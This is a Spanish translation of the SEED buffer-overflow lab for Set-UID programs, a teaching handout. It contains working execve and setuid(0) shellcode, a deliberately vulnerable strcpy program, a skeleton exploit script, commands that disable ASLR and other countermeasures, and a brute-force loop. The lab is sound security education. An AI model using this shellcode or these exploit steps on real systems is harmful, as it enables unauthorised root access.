Laboratorio de Buffer Overflow (Set-UID Version)

1 Descripción General

Un Buffer overflow es un tipo de vulnerabilidad que ocurre cuando un programa intenta escribir una cierta cantidad de datos que sobrepasan los límites permitidos de un buffer de memoria. Esta vulnerabilidad puede ser usada por un atacante malicioso para alterar el flujo de control del programa, permitiendo así la ejecución de código malicioso. El objetivo de este laboratorio es poder estudiar este tipo de vulnerabilidad y aprender a explotarla.

Para este laboratorio, los estudiantes tendrán disponible un programa con una vulnerabilidad de buffer overflow. La tarea será desarrollar un exploit para explotar el programa y obtener privilegios de root. A su vez cada uno de los estudiantes podrá experimentar con diferentes tipos de contramedidades que son implementadas para mitigar este tipo de ataques. Los estudiantes necesitarán evaluar en que situaciones sus ataques serán exitosos y en cuales no, así también explicando el porque de este resultado. Este laboratorio cubre los siguientes tópicos:

- Buffer overflow - Ataques y Vulnerabilidad
- Stack layout
- Address randomization, non-executable stack, y StackGuard
- Shellcode (32-bits y 64-bits)
- El ataque return-to-libc, este ataque apunta a evadir la protección non-executable stack y es cubierto en un laboratorio aparte.

Lecturas y Videos. Para una cobertura más detallada en Ataques de Buffer Overflow puede consultar

- Capítulo 4 del Libro de SEED, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. See details at `https://www.handsonsecurity.net`.
- Sección 4 del curso de SEED en Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. See details at `https://www.handsonsecurity.net/video.html`.

Entorno de Laboratorio. Este laboratorio ha sido testeado en nuestra imagen pre-compilada de una VM con Ubuntu 20.04, que puede ser descargada del sitio oficial de SEED. Sin embargo, la mayoría de nuestros laboratorios pueden ser realizados en la nube para esto Ud. puede leer nuestra guía que explica como crear una VM de SEED en la nube.

Nota para los instructores. Los instructores pueden personalizar este laboratorio modificando los valores para `L1`, ..., `L4`. Ver Sección 4 para más detalles. Dependiendo del conocimiento de los estudiantes y el tiempo asignado al laboratorio, los instructores también pueden hacer opcionales los Levels 2, 3 y 4. La Tarea del Level 1 es suficiente para cubrir lo básico en cuanto a los ataques buffer overflow. Los Levels del 2 al 4 incrementan la dificultad de estos ataques. Todas las tareas relacionadas a las contramedidas están ligadas a la tarea del Level 1 por lo tanto saltearse los otros niveles no afecta el abordaje de estas tareas.

2 Configuración del Entorno de Laboratorio

2.1 Desactivando las Contramedidas

Los sistemas operativos modernos, implementan diferentes mecanismos de seguridad para dificultar los ataques de buffer overflow. Para simplificar nuestros ataques, primero necesitamos desactivarlos. Más adelante los activaremos y veremos si nuestro ataque es exitoso o no.

Address Space Randomization. Tanto `Ubuntu` como otros sistemas basados en Linux implementan una medida de seguridad llamada address space randomization que sirve para randomizar la dirección de memoria inicial en el heap y en el stack. Esto hace que sea difícil determinar las direcciones de memoria de forma exacta; poder calcular las direcciones de memorias es un paso crítico en los ataques de buffer overflow. Esta contramedida puede ser desactivada usando el siguiente comando:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configurando `/bin/sh`. En las versiones más recientes de Ubuntu, el link simbólico de `/bin/sh` apunta a la shell `/bin/dash`. La shell `dash` como así `bash`, tienen implementada una medida de seguridad que evita que se ejecute en un proceso `Set-UID`. Básicamente, si detectan que están siendo ejecutadas en un proceso `Set-UID`, cambiarán el effective user ID del proceso al real user ID, esto hará que ya no se ejecute con privilegios elevados.

Dado que nuestro programa vulnerable es un programa `Set-UID` y nuestro ataque se basa en correr una shell `/bin/sh`, la protección anteriormente mencionada hace que nuestro ataque sea más difícil. Lo que haremos será cambiar el link simbólico de `/bin/sh` a otra shell que no implemente esta medida de protección (en posteriores tareas, mostraremos como evadir esta protección implementada en `/bin/dash`). En nuestra Máquina Virtual de Ubuntu 20.04 hemos instalado una shell llamada `zsh`. El siguiente comando puede ser usado para cambiar el link simbólio de `/bin/sh` hacia `zsh`:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

StackGuard y Non-Executable Stack. Estas son contramedidas adicionales implementadas por el sistema. Pueden ser desactivadas durante la compilación. Discutiremos esto al momento de compilar nuestro programa vulnerable.

3 Task 1: Shellcode

El objetivo final de los ataques a las vulnerabilidades de buffer overflow es poder inyectar código malicioso dentro del programa vulnerable, para ques sea ejecutado con los privilegios con que ese programa está corriendo en el sistema. La pieza de código más usada para para conducir este tipo de ataque de inyección de código en un ataque es llamada Shellcode. Vamos a adentrarnos un poco en este concepto.

3.1 La versión en C del Shellcode

Un Shellcode básicamente es una pieza de código que ejecuta una shell. Si usamos código en C para implementar, lucirá algo así:

```
#include <stdio.h>

int main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

Desafortunadamente, no podemos compilar este código y usar el binario resultante como nuestro shellcode (para una explicación más en detalle consulte el libro de SEED). La mejor forma de escribir un shellcode es usar código ensamblador. En este laboratorio sólo proveemos la versión binaria de un shellcode sin explicar con mucho detalle su funcionamiento. Dado que el funcionamiento de un shellcode está fuera del alcance de este laborattorio, no nos adentraremos en los detalles de su mecánica. Si está interesado en saber como funciona un shellcode y quiere escribir un shellcode desde cero, puede consultar nuestro laboratorio *Shellcode Lab*

3.2 Shellcode de 32-bits

```
; Store the command on stack
xor  eax, eax
push eax
push "//sh"
push "/bin"
mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov  ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor  edx, edx     ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor  eax, eax     ;
mov  al,  0x0b    ; execve()'s system call number
int  0x80
```

El shellcode anterior invoca a la llamada al sistema `execve()` para ejecutar `/bin/sh`. En el laboratorio del Shellcode de SEED explicamos a los estudiantes como escribir un shellcode desde cero. Aquí sólo daremos una pequeña explicación.

- La tercera instrucción hace push en el stack del parámetro `"//sh"`, en vez de `"/sh"`. Esto es porque necesitamos un valor de 32-bits en el stack y `"/sh"` tiene solamente 24-bits. Afortunadamente `"//"` es equivalente a `"/"`, por lo tanto podemos agregar la doble barra sin ningún problema.
- Necesitamos pasar tres argumentos a `execve()` usando los registros `ebx`, `ecx` y `edx`. La mayoría del shellcode se encarga de construir el contenido con los valores para esos argumentos.
- La llamada al sistema `execve()` is invocada cuando se establecer el valor `0x0b` en `al` y se ejecuta la instrucción `"int 0x80"`.

3.3 Shellcodede 64-bits

A continuación proveemos el mismo shellcode pero es la versión de 64-bits, la única diferencia que existe son los nombres de los registros que se usan para `execve()` como así el valor de la llamada al sistema. Se dará una breve explicación en la sección de los comentarios pero no se dará un resumen detallado del shellcode.

```
xor  rdx, rdx        ; rdx = 0: execve()'s 3rd argument
push rdx
mov  rax, '/bin//sh' ; the command we want to run
push rax             ;
mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx             ; argv[1] = 0
push rdi             ; argv[0] --> "/bin//sh"
mov  rsi, rsp        ; rsi --> argv[]: execve()'s 2nd argument
xor  rax, rax
mov  al,  0x3b       ; execve()'s system call number
syscall
```

3.4 Tarea: Invocando el Shellcode

Hemos generados el código binario del shellcode hecho en ensamblador y hemos puesto ese codigo dentro de un programa hecho en C llamado `call_shellcode.c` dentro del directorio `shellcode`. Si desea aprender como generar el código binario por su cuenta, le recomendamos el laboratorio de Shellcode. En esta Tarea, haremos un testeo del shellcode.

Listing 1: `call_shellcode.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode); // Copy the shellcode to the stack
   int (*func)() = (int(*)())code;
   func();                  // Invoke the shellcode from the stack
   return 1;
}
```

El código mostrado anterior incluye las dos copias del shellcode, la de 32-bits y la de 64-bits. Cuando compilamos el programa usando el flag `-m32` será usada la versión de 32-bits; si no se usa ese flag será usada la versión de 64-bits. Puede usar el código tipeando `make` esto tomará como referencia el archivo `Makefile`. Serán creados dos binarios `a32.out` (32-bits) y `a64.out` (64-bits). Corralos y describa sus observaciones. Cabe aclarar que en la compilación se usa la opción `execstack` que permite que se ejecute código en el stack: sin esta opción el programa fallará.

4 Tarea 2: Entendiendo el Programa Vulnerable

El programa vulnerable que usaremos en este laboratorio se llama `stack.c` y está ubicado dentro del directorio `code`. Este programa contiene una vulnerabilidad de buffer overflow. Es su tarea explotar esta vulnerabilidad y obtener privilegios de root. El código mostrado a continuación tiene información trivial que fue borrada del archivo original por lo tanto puede notar alguna diferencia entre lo que se muestra acá y el archivo en el directorio.

Listing 2: The vulnerable program (`stack.c`)

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

El programa mostrado anteriormente tiene una vulnerabilidad de buffer overflow. Este recibe el input de un archivo llamado `badfile`, este input es pasado a un buffer en la función `bof()`. El input original tiene

una longitud máxima de `517` bytes, pero el buffer en `bof()` tiene solamente `BUF_SIZE` bytes el cual es menor a `517`. Debido a que `strcpy()` no hace un chequeo del tamaño de los datos del input antes que se copien, se dará una condición de buffer overflow. Dado que este programa tiene como dueño al usuario root y es un programa `Set-UID`, la explotación de la vulnerabilidad de buffer overflow por parte de un usuario no privilegiado, puede usarse para obtener privilegios de root. Hay que notar que el programa obtiene su input del archivo `badfile`. Este archivo esta bajo el control del usuario. Nuestro objetivo será crear el contenido para el archivo `badfile`, de forma tal que cuando el programa vulnerable copie el contenido de este archivo al buffer, se ejecute una shell con privilegios de root.

Compilación. Para poder compilar el programa vulnerable, necesitamos desactivar la protección Stack-Guard y non-executable stack, para ello debemos usar las opciones `-fno-stack-protector` y `-z execstack`. Después de la compilación, necesitamos darle permisos de dueño al root y hacer `Set-UID` a este programa. Podemos hacer esto haciendo al root dueño del archivo (Línea ①) y después cambiar los permisos del archivo a `4755` para activar el bit de `Set-UID` (Línea ②). Es importante mencionar que antes de activar el bit de `Set-UID` se debe hacer al usuario root dueño del archivo, esto es porque si se hace al revéz el bit de `Set-UID` será reseteado.

```
$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack          ①
$ sudo chmod 4755 stack          ②
```

Los comandos de compilación son provistos dentro del archivo `Makefile`. Para compilar el código, lo único que debe de tipear es `make`. Las variables `L1`, `L2`, `L3`, y `L4` dentro del archivo `Makefile`, serán usadas durante la compilación. Si el instructor elije cambiar el conjunto de valores para estas variables, puede cambiarlos editando el archivo `Makefile`.

Para instructores (personalización). Para que el laboratorio sea ligeramente diferente al que se ofrecía en el pasado, los instructores pueden cambiar el valor de `BUF_SIZE` solicitando que los estudiantes compilen el código del servidor usando diferentes valores de `BUF_SIZE`. Dentro del archivo `Makefile`, el valor de `BUF_SIZE` es seteado en cuatro variables `L1`, ..., `L4`. Los instructores deben elegir los valores para estas variables en función de en las siguientes sugerencias:

- `L1`: elegir un valor entre 100 y 400
- `L2`: elegir un valor entre 100 y 400
- `L3`: elegir un valor entre 100 y 400
- `L4`: necesitamos mantener un número más pequeño, se recomienda usar 10 como valor para este level.

5 Tarea 3: Lanzando el ataque en el Programa de 32-bits (Level 1)

5.1 Investigación

Una de las cosas más importantes a la hora de explotar el buffer overflow que contiene nuestro programa vulnerable es conocer la distancia que hay entre el comienzo del buffer y el lugar donde se almacena su dirección de retorno. Para este propósito usaremos un debugger. Debido a que contamos con el código fuente del programa, lo compilaremos con el flag de debug activado, lo que hará que nuestra tarea de debugging sea más fácil.

Tendremos que agregar el flag `-g` a la hora de usar el comando `gcc`, esto agregará al binario información de debbuging. Si usa el comando `make` este lo hará por ud. Usaremos `gdb` para debuggear `stack-L1-dbg`. Antes de correr el programa necesitamos crear el archivo `badfile`.

```
$ touch badfile          ← Create an empty badfile
$ gdb stack-L1-dbg
gdb-peda$ b bof          ← Set a break point at function bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run            ← Start executing the program
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18  {
gdb-peda$ next           ← See the note below
...
22      strcpy(buffer, str);
gdb-peda$ p $ebp         ← Get the ebp value
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer      ← Get the buffer's address
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit           ← exit
```

Nota 1. Cuando `gdb` se detiene dentro de la función `bof()`, se detiene antes que el valor del registro `ebp` apunta al stack frame actual, por lo tanto si imprimimos el valor de `ebp` en este punto, obtendremos el valor de `ebp` del caller. Necesitamos usar `next` para ejecutar algunas instrucciones más y que se detenga después que el valor registro `ebp` es modificado y quede apuntando al stack frame de la función `bof()`. El libro de SEED está basado en Ubuntu 16.04, en esta versión el comportamiento de `gdb` es levemente diferente, es por eso que en el libro no verá el paso `next`.

Nota 2. Cabe aclarar que el valor del frame pointer obtenido en `gdb` difiere del valor usado en la ejecución del programa sin usar `gdb`. Esto se debe a que `gdb` inserta en el stack algunos datos extras antes de la ejecución del debugging que tienen que ver con información propia del entorno de debug. Cuando el programa corre sin que se use `gdb` el stack no contiene estos datos, por lo que el valor del frame pointer puede ser más grande. Debe tener esto en cuenta a la hora de construir su payload.

5.2 Lanzando los Ataques

Para explotar la vulnerabilidad de buffer overflow en el programa vulnerable, vamos a necesitar preparar un payload y guardarlo dentro de un archivo (en este documento usaremos el nombre de archivo `badfile`). Usaremos un script en Python para la generación de este archivo. Hemos provisto un script genérico en Python (ubicado en el directorio de nuestro laboratorio) llamado `exploit.py`. Este código está incompleto y será necesario que los estudiantes completen determinados valores dentro de este para llevar a cabo un ataque exitoso.

Listing 3: `exploit.py`

```
#!/usr/bin/python3
import sys

shellcode= (
  ""                    # ☆ Necesita completarse ☆
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
```

```
#################################################################
# Put the shellcode somewhere in the payload
start = 0               # ☆ Necesita completarse ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00           # ☆ Necesita completarse ☆
offset = 0              # ☆ Necesita completarse ☆

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Al terminar de completar el programa anterior, debe correrlo. Esto generará el contenido para el archivo `badfile`. Proceda a correr el programa vulnerable `stack`. Si su exploit está implementado de forma correcta, debería de obtener una shell de root.

```
$./exploit.py     // create the badfile
$./stack-L1       // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

En el informe del laboratorio, además de proveer screenshots para demostrar los resultados de su investigación y ataque, debe explicar como es que se decidió optar por los valores a completar en el archivo `exploit.py`. Estos valores son los más importantes para el ataque por lo tanto una explicación detallada puede ayudar al instructor a puntuar su informe de una forma más precisa. El sólo demostrar que el ataque fue exitoso sin explicar el porque funcionó no hará que reciba muchos puntos por parte del instructor.

6 Tarea 4: Lanzando el Ataque sin conocer el tamaño del Buffer (Level 2)

En el ataque del Level-1, usamos `gdb` para conocer el tamaño del buffer. En el mundo real esta información puede ser difícil de obtener. Por ejemplo, si el programa vulnerable estuviese corriendo en una máquina remota, no tendríamos acceso a su código fuente o su binario. En esta Tarea, vamos a agregar una restricción: Se permite el uso de `gdb` pero no se permite derivar el tamaño del buffer de su investigación. Actualmente, el tamaño del buffer está establecido en el archivo `Makefile`, pero no se permite usar esta información para su ataque.

Su tarea es hacer que el programa corra su shellcode teniendo en cuenta esta restricción. Asumimos que el tamaño del buffer se encuentra dentro de un rango de 100 a 200 bytes. Otra información que le puede ser de ayuda es que debido al alineamiento de memoria, los valores almacenados en el frame pointer deben ser siempre múltiplos de cuatro (para programas de 32-bits).

Por favor note que sólo se permite construir un payload que funcione para cualquier tamaño del buffer dentro del rango anteriormente mencionado. No obtendrá créditos si lo hace usando brute force. Mientras más intente, más fácil será detectar el ataque y mitigarlo por parte de la víctima. Es por eso que es crucial minimizar la cantidad de intentos en el ataque. En el informe del laboratorio deberá describir el método que se uso y mostrar las evidencias del ataque.

7 Tarea 5: Lanzando el ataque en el Programa de 64-bits (Level 3)

En esta tarea, compilaremos el programa vulnerable para 64-bits en un binario llamado `stack-L3`. Lanzaremos ataques sobre este programa. Los comandos para compilar y configurar el programa están dentro del archivo `Makefile`. Como viene haciendo en las tareas anteriores, deberá de proveer una explicación detallada de su ataque en el informe del laboratorio.

Debuggear los programas de 64-bits con `gdb` es similar hacerlo con los de 32-bits, la única diferencia es el nombre del registro del frame pointer. En la arquitectura x86 el frame pointer se llama `ebp`, mientras que en la arquitectura x64 se llama `rbp`

Desafíos. En comparación con una máquina de 32-bits los ataques de buffer overflow son más difíciles en una de 64-bits. La parte más compleja son las direcciones de memoria. Debido a que el espacio de direcciones permitido va de `0x00` a `0x00007FFFFFFFFFFF`, tendremos por cada dirección de memoria de 8 bytes, 2 bytes que serán ceros. Esto será un problema a la hora de construir nuestro payload.

En nuestros ataques de buffer overflow, necesitamos guardar al menos una dirección de memoria en el payload, este será copiado en el stack usando la función `strcpy()`. Sabemos que la función `strcpy()` dejará de copiar datos al encontrarse con un valor cero. Por lo tanto, si un cero aparece en el medio del payload, los datos que siguen después de este no serán copiados. Resolver esta cuestión es uno de los desafíos más difíciles.

8 Tarea 6: Lanzando el ataque en el Programa de 64-bits (Level 4)

El programa vulnerable para esta tarea será `stack-L4`, este es similar al programa del Level 2, sólo que el tamaño del buffer es mucho más chico. Hemos establecido un tamaño del buffer de 10 bytes, mientras que en el Level 2 este tamaño es bastante más grande. Su objetivo es el mismo; obtener shell de root explotando el programa `Set-UID`. Debido al que tamaño del buffer es bastante pequeño, puede encontrarse con varios desafíos a la hora de explotar el programa. Si ese es el caso, deberá explicar como ha sorteado estos desafíos en su ataque en el informe del laboratorio.

9 Tarea 7: Evadiendo la protección de `dash`

En Ubuntu al correr un programa `Set-UID` usando la shell `dash`, esta se encarga de detectar que el effective UID¡ sea igual real UID, si no lo son elimina los privilegios del mismo. Esto se logra cambiando el effective UID al real UID. En las tareas anteriores, hemos apuntado `/bin/sh` a otra shell llamada `zsh` que no tiene esta protección. Por favor apunte nuevamente `/bin/sh` a `/bin/dash`.

```
$ sudo ln -sf /bin/dash /bin/sh
```

Para evadir esta protección en un ataque de buffer overflow, debemos de cambiar el real UID para que sea igual al effective UID. Cuando el usuario root es dueño de un programa `Set-UID`, el effective UID es cero, entonces debemos de hacer este cambio antes de que el programa haga la invocación de la shell. Esto se logra usando la llamada al sistema `setuid(0)` antes de la ejecución de `execve()` en el shellcode.

El siguiente código en ensamblador muestra como llamar a `setuid(0)`. El código binario fue puesto dentro dentro del archivo `call_shellcode.c`, sólo debe agregar este fragmento al comienzo del shellcode.

```
; Invoke setuid(0): 32-bit
xor ebx, ebx      ; ebx = 0: setuid()'s argument
```

```
xor eax, eax
mov  al, 0xd5     ; setuid()'s system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi      ; rdi = 0: setuid()'s argument
xor rax, rax
mov  al, 0x69     ; setuid()'s system call number
syscall
```

Experimento. Compile el archivo `call_shellcode.c` dentro de un binario cuyo dueño sea el usuario root (tipeando "`make setuid`"). Corra el shellcode `a32.out` y `a64.out` con o sin la llamada al sistema `setuid(0)`. Por favor describa y explique sus observaciones.

Lanzando el ataque nuevamente. Una vez actualizado el shellcode, podemos intentar el ataque nuevamente en el programa vulnerable y esta vez con la protección de la shell activada. Repita el ataque del Level 1 y vea si puede obtener una shell de root. Después de obtener una shell de root corra el siguiente comando para probar que la protección está activada. Aunque no es obligatorio repetir este mismo ataque para el Level 2 y el Level 3, sientase libre de hacerlo y compruebe si funciona o no.

```
# ls -l /bin/sh /bin/zsh /bin/dash
```

10 Tarea 8: Evadiendo Address Randomization

En las máquinas Linux de 32-bits, el stack tiene solamente 19 bits de entropía, lo que significa que la dirección base del stack puede tener $2^{19} = 524,288$ posibilidades. Este número no es tan grande y puede ser alcanzado fácilmente haciendo brute force. En esta tarea, usaremos esta técnica para evadir la protección de address randomization en nuestra Máquina Virtual de 32-bits. Como primer paso, debemos de activar la protección en Ubuntu usando el siguiente comando. Luego correr el ataque sobre `stack-L1`. Por favor describa y explique sus observaciones.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

A continuación usaremos la técnica de brute force para atacar al programa vulnerable de forma repetida, con la intención de que la dirección que ponemos en el archivo `badfile` pueda ser la correcta. Solamente lo haremos para el archivo `stack-L1` que es un programa de 32-bits. Puede usar el siguiente script en bash para atacar al programa vulnerable dentro de un loop infinito. Si su ataque es exitoso el script se detendrá; de otra forma seguirá corriendo. Por favor sea paciente, este proceso puede tomar unos minutos, pero si no tiene suerte puede que sea un poco más largo. Por favor describa sus observaciones.

```
#!/bin/bash

SECONDS=0
value=0

while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
```

```
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack-L1
done
```

Los ataques de brute force en programas de 64-bits son mucho más difíciles de lograr, dada que la entropía es mucho más grande. Aunque no es obligatorio, sientase libre de tratar esta técnica sólo por diversión. Déjelo corriendo durante la noche. Quien sabe por ahí tiene suerte.

11 Tareas 9: Experimentando con otras Contramedidas

11.1 Tarea 9.a: Activando StackGuard

Muchos compiladores como `gcc` implementan un mecanismo de seguridad llamado *StackGuard* esta protección está destinada a prevenir ataques a programas con vulnerabilidades de buffer overflow. Los programas vulnerables que hemos estado usando tienen esta protección desactivada. En esta tarea, la activaremos para ver que es lo que pasa.

Primero, repita el ataque del Level-1 con la protección de StackGuard desactivadda y asegúrese que el ataque sea exitoso. Debido a que en la tarea anterior se ha activado el address randomization, recuerde desactivarlo para esta prueba. Luego, active la protección address randomization, recompilando el programa vulnerable `stack.c` sin el flag `-fno-stack-protector`. En la version 4.3.3 y superior de `gcc`, StackGuard está activado por defecto. Lance en el ataque; escriba sus observaciones en el informe del laboratorio.

11.2 Tarea 9.b: Activando la Protección Non-executable Stack

Los sistemas operativos solían permitir ejecución de código en el stack, pero esto ha cambiado: En Ubuntu los binarios de los programas (y las librerías compartidas) deben de indicar si necesitan o no poder ejecutar código en el stack, es decir necesitan marcar un campo específico dentro del encabezado del programa que permite que esto sea posible o no. El kernel o mejor dicho el dynamic linker usan esta marca para permitir que el stack del programa pueda ejecutar o no código. Para setear esta marca a la hora de generar el binario ejecutable usando `gcc`, se usan dos flags que indican que se puede ejecutar código en el stack `"-z execstack"` o `"-z noexecstack"` que indica lo contrario.

En esta tarea, haremos que el stack no pueda ejecutar código, activando la protección non-executable. Para esto nos situaremos dentro del directorio `shellcode` y dentro del archivo `call_shellcode` pondremos una copia de nuestro shellcode y ejecutaremos este código desde el stack. Para ello se debe recompilar el archivo `call_shellcode.c` sin usar el parámetro `"-z execstack"`, genere los archivos `a32.out` y `a64.out`, proceda a correrlos desde la línea comandos. Por favor comente y explique sus observaciones en el informe del laboratorio.

Evadiendo non-executable stack Cabe aclarar que esta protección hace imposible ejecutar el shellcode en el stack pero no impide ataques de buffer overflow, ya que existen otras formas de correr código malicioso después de explotar este tipo de vulnerabilidad. Una técnica para lograr esto es la llamada *return-to-libc*, este tipo de ataque está fuera del alcance de este laboratorio. Sin embargo hemos hecho un laboratorio dedicado especialmente a este ataque, lo puede encontrar en nuestro sitio oficial de SEED.

12 Informe del Laboratorio

Debe enviar un informe de laboratorio detallado, con capturas de pantalla, para describir lo que ha hecho y lo que ha observado. También debe proporcionar una explicación a las observaciones que sean interesantes o sorprendentes. Enumere también los fragmentos de código más importantes seguidos de una explicación. No recibirán créditos aquellos fragmentos de códigos que no sean explicados.

Agradecimientos

Este documento ha sido traducido al Español por Facundo Fontana